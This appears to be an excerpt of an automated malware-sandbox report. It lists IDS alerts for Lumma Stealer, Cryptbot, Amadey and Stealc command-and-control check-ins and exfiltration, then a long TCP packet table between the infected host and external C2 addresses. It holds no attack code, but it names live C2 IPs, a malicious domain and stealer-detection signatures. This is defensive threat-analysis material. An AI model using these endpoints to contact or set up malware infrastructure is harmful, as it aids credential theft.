2024-11-21T14:11:49.870134+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49988	188.114.97.3	443	TCP
2024-11-21T14:11:50.015603+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	49993	34.116.198.130	80	TCP
2024-11-21T14:11:51.653786+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	50002	188.114.97.3	443	TCP
2024-11-21T14:11:51.653786+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50002	188.114.97.3	443	TCP
2024-11-21T14:11:51.974692+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	50004	188.114.97.3	443	TCP
2024-11-21T14:11:51.974692+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50004	188.114.97.3	443	TCP
2024-11-21T14:11:52.738248+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50004	188.114.97.3	443	TCP
2024-11-21T14:11:54.301226+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50011	185.215.113.16	80	TCP
2024-11-21T14:11:55.369125+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	50017	188.114.97.3	443	TCP
2024-11-21T14:11:55.369125+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50017	188.114.97.3	443	TCP
2024-11-21T14:11:57.783911+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50027	185.215.113.43	80	TCP
2024-11-21T14:12:00.229214+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	50041	188.114.97.3	443	TCP
2024-11-21T14:12:00.229214+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50041	188.114.97.3	443	TCP
2024-11-21T14:12:04.879882+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	50064	188.114.97.3	443	TCP
2024-11-21T14:12:04.879882+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50064	188.114.97.3	443	TCP
2024-11-21T14:12:05.083916+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50063	34.116.198.130	80	TCP
2024-11-21T14:12:10.892278+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	50080	188.114.97.3	443	TCP
2024-11-21T14:12:10.892278+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50080	188.114.97.3	443	TCP
2024-11-21T14:12:10.897049+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50080	188.114.97.3	443	TCP
2024-11-21T14:12:14.351462+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	50082	188.114.97.3	443	TCP
2024-11-21T14:12:14.351462+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50082	188.114.97.3	443	TCP
2024-11-21T14:12:15.057876+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50082	188.114.97.3	443	TCP
2024-11-21T14:12:16.497487+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50084	185.215.113.206	80	TCP
2024-11-21T14:12:16.605442+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50085	185.215.113.16	80	TCP
2024-11-21T14:12:41.291527+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50114	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 14:11:04.878649950 CET	49864	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:04.998435020 CET	80	49864	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:04.998527050 CET	49864	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:04.998723984 CET	49864	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:05.118285894 CET	80	49864	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:06.385662079 CET	80	49864	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:06.386188984 CET	49864	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:07.899363995 CET	49864	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:07.899605036 CET	49871	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:08.019149065 CET	80	49871	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:08.019236088 CET	80	49864	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:08.019254923 CET	49871	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:08.019299030 CET	49864	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:08.019458055 CET	49871	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:08.139005899 CET	80	49871	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:09.431724072 CET	80	49871	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:09.433937073 CET	49871	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:09.552089930 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:09.671747923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:09.671838999 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:09.672012091 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:09.791755915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.057993889 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.058058977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.058067083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.058114052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.058227062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.058273077 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.058278084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.058312893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.058361053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.058361053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.058361053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.058372021 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.058418989 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.058468103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.058482885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.058505058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.058506966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.059520960 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.177817106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.177897930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.177927971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.178049088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.182008028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.182070971 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.182199955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.259569883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.259620905 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.259644032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.259696960 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.263592005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.263657093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.263684988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.263732910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.271992922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.272049904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.272115946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.272177935 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.280441046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.280497074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.280594110 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.280646086 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.288841963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.288933039 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.288989067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.289052010 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.297183037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.297240973 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.297323942 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.297374010 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.305563927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.305619001 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.305660963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.305722952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.314013004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.314078093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.314150095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.314347029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.322422981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.322455883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.322484970 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.322520971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.330332041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.330404043 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.330498934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.330559015 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.338346958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.338402033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.338422060 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.338469982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.346268892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.346321106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.346329927 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.346405029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.568757057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.568798065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.568816900 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.568842888 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.572349072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.572429895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.572510004 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.580285072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.580344915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.580404997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.580447912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.588289976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.588417053 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.588450909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.588468075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.596282005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.596338034 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.596366882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.596594095 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.604238987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.604305029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.604383945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.604439974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.612245083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.612304926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.612335920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.612385035 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.620197058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.620269060 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.620280981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.620317936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.628201962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.628278971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.628348112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.628469944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.636118889 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.636199951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.636239052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.636324883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.644275904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.644310951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.644365072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.653091908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.653146982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.653163910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.653275013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.660139084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.660239935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.660245895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.660290003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.668075085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.668128967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.668215036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.668378115 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.676062107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.676119089 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.676156998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.676239014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.684010983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.684148073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.684218884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.684272051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.691941023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.691994905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.692060947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.692111015 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.699951887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.700001955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.700068951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.700253963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.707979918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.708038092 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.708060980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.708266020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.716635942 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.716701031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.716766119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.716831923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.723890066 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.723952055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.724019051 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.724087954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.731861115 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.731966019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.731973886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.732047081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.740056992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.740123987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.740205050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.740257025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.747997046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.748066902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.748092890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.748203993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.755861044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.755916119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.755925894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.755960941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.763782024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.763853073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.763937950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.764039993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.771733046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.771797895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.771884918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.771955967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.779695034 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.779772043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.779803038 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.779876947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.787730932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.787769079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.787789106 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.787806988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.795667887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.795705080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.795758963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.803675890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.803745985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.803775072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.803833961 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.811871052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.811932087 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.811969995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.812027931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.819587946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.819658995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.819700956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.819753885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.827354908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.827419996 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.827423096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.827476025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.834687948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.834764004 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.834851027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.834916115 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.841834068 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.841909885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.841912985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.841965914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.848701000 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.848759890 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.848839998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.848897934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.851349115 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.851408958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.851432085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.851491928 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.854089022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.854157925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.854266882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.854330063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.856779099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.856847048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.856888056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.856940031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.859520912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.859586954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.859633923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.859688044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.862466097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.862520933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.862523079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.862576008 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.865031004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.865099907 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.865243912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.865302086 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.867672920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.867752075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.867814064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.870347023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.870407104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.870471001 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.870956898 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.873054981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.873122931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.873178005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.873234987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.875762939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.875865936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.875879049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.876014948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.878520012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.878671885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.878688097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.878722906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.881203890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.881268024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.881331921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.881393909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.883896112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.883956909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.884013891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.884066105 CET	49876	80	192.168.2.6	31.41.244.11
